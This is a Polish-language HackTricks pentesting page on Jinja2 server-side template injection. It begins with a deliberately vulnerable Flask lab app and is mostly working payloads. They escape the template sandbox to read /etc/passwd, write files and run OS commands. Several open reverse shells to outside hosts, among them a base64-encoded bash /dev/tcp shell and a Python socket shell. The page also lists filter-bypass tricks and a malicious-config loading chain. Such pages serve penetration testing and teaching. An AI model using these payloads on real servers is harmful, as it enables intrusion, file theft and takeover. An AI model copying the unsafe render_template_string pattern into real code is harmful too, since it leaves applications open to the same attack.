hacktricks/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md
2024-02-11 01:46:25 +00:00

14 KiB

Jinja2 SSTI

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Lab

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"

if __name__ == "__main__":
app.run()

Różne

Instrukcja debugowania

Jeśli rozszerzenie Debug jest włączone, tag debug będzie dostępny do wyświetlania bieżącego kontekstu oraz dostępnych filtrów i testów. Jest to przydatne do sprawdzenia, co jest dostępne do użycia w szablonie bez konieczności konfigurowania debugera.

<pre>

{% raw %}
{% debug %}
{% endraw %}


</pre>

Źródło: https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement

Wypisz wszystkie zmienne konfiguracyjne

{{ config }} #In these object you can find all the configured env variables


{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}

Wstrzykiwanie Jinja

Po pierwsze, w wstrzykiwaniu Jinja musisz znaleźć sposób na ucieczkę z piaskownicy i odzyskanie dostępu do normalnego przepływu wykonania w Pythonie. Aby to zrobić, musisz nadużywać obiektów, które są z poza środowiska piaskownicy, ale dostępne z piaskownicy.

Dostęp do globalnych obiektów

Na przykład, w kodzie render_template("hello.html", username=username, email=email) obiekty username i email pochodzą z niepiaskownicowego środowiska Pythona i będą dostępne wewnątrz środowiska piaskownicy.
Ponadto, istnieją inne obiekty, które będą zawsze dostępne z środowiska piaskownicy, a są to:

[]
''
()
dict
config
request

Odzyskiwanie <class 'object'>

Następnie, z tych obiektów musimy dotrzeć do klasy: <class 'object'> w celu próby odzyskania zdefiniowanych klas. Jest to możliwe, ponieważ z tego obiektu możemy wywołać metodę __subclasses__ i uzyskać dostęp do wszystkich klas z niezabezpieczonego środowiska Pythona.

Aby uzyskać dostęp do tej klasy obiektu, musisz uzyskać dostęp do obiektu klasy, a następnie uzyskać dostęp do __base__, __mro__()[-1] lub .mro()[-1]. Następnie, po dotarciu do tej klasy obiektu, wywołujemy __subclasses__().

Sprawdź te przykłady:

# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class

# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]

# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}

{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}

# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}

# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}

Ucieczka RCE

Po odzyskaniu <class 'object'> i wywołaniu __subclasses__ możemy teraz użyć tych klas do odczytywania i zapisywania plików oraz wykonywania kodu.

Wywołanie __subclasses__ dało nam możliwość dostępu do setek nowych funkcji, będziemy zadowoleni tylko przez dostęp do klasy pliku do odczytu/zapisu plików lub dowolnej klasy z dostępem do klasy, która pozwala na wykonywanie poleceń (jak os).

Odczyt/Zapis zdalnego pliku

# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

RCE (Remote Code Execution) to atak, który pozwala hakerowi wykonać kod zdalnie na serwerze. Jest to jedno z najgroźniejszych narzędzi w rękach hakerów, ponieważ umożliwia im zdalne kontrolowanie systemu i wykonanie dowolnych poleceń. Atak RCE może prowadzić do wycieku poufnych danych, usunięcia lub modyfikacji plików systemowych oraz przejęcia pełnej kontroli nad serwerem. Hakerzy często wykorzystują podatności w aplikacjach internetowych, takich jak podatności w silnikach szablonów, aby osiągnąć RCE. Dlatego ważne jest, aby zabezpieczyć aplikacje przed takimi atakami poprzez regularne aktualizacje i audyty bezpieczeństwa.

# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

# Calling os.popen without guessing the index of the class

{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}


Aby dowiedzieć się o więcej klasach, które możesz użyć do uniknięcia możesz sprawdzić:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Ominięcia filtrów

Powszechne ominięcia

Te ominięcia pozwolą nam uzyskać dostęp do atrybutów obiektów bez użycia niektórych znaków.
Już widzieliśmy niektóre z tych ominięć w przykładach wcześniejszych, ale podsumujmy je tutaj:

# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick

## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params

## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

# Using with

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}

Unikanie kodowania HTML

Domyślnie Flask koduje wszystko wewnątrz szablonu ze względów bezpieczeństwa:

{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;

Filtr safe pozwala nam wstrzykiwać kod JavaScript i HTML na stronie bez kodowania HTML, tak jak w poniższym przykładzie:

{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>

RCE poprzez zapisanie złośliwego pliku konfiguracyjnego.

# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}

# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

Bez kilku znaków

Bez {{ . [ ] }} _

{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}

Wstrzyknięcie Jinja bez <class 'object'>

Z globalnych obiektów istnieje inny sposób na uzyskanie RCE bez użycia tej klasy.
Jeśli uda ci się uzyskać dostęp do dowolnej funkcji z tych globalnych obiektów, będziesz mógł uzyskać dostęp do __globals__.__builtins__ i stamtąd RCE jest bardzo proste.

Możesz znaleźć funkcje z obiektów request, config i dowolnego innego interesującego globalnego obiektu, do którego masz dostęp, za pomocą:

{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed

{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__

# You can iterate through children objects to find more

Gdy już znajdziesz pewne funkcje, możesz odzyskać wbudowane funkcje za pomocą:

# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}

# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}

## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}

# All the bypasses seen in the previous sections are also valid

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: